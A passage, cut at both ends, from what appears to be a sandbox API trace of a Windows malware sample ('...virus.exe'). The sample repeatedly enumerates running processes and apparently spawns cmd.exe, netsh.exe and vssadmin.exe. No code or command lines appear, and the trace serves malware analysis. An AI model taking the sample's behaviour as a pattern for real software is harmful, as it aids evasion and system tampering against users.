lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0217.028] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.028] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.028] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.029] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.029] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.029] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0217.030] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.030] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.030] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0217.031] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0217.031] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0217.031] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0217.032] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.032] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0217.032] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0217.033] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0217.033] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0217.033] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0217.034] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0217.034] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0217.035] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0217.035] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0217.035] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0217.036] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.036] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0217.036] CloseHandle (hObject=0x168) returned 1 [0217.036] Sleep (dwMilliseconds=0x1f4) [0217.551] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0217.553] Process32FirstW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.554] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0217.554] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0217.555] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.555] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0217.556] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.556] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0217.556] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0217.557] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0217.557] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0217.558] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.558] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.559] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.559] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.559] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.560] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0217.560] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.561] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.562] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0217.562] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0217.562] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0217.563] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0217.563] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.564] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0217.564] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0217.564] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0217.565] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0217.565] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0217.566] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0217.566] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0217.566] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0217.567] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0217.567] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0217.567] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.568] Process32NextW (in: hSnapshot=0x168, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0217.568] CloseHandle (hObject=0x168) returned 1 [0217.568] Sleep (dwMilliseconds=0x1f4) [0218.393] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0218.395] Process32FirstW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.396] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0218.396] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0218.396] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.397] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0218.397] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.398] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0218.398] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0218.398] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0218.399] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0218.399] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.399] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.400] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.400] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.400] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.401] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0218.401] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.401] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.402] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0218.402] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0218.402] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0218.403] Process32NextW (in: hSnapshot=0x1ac, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, 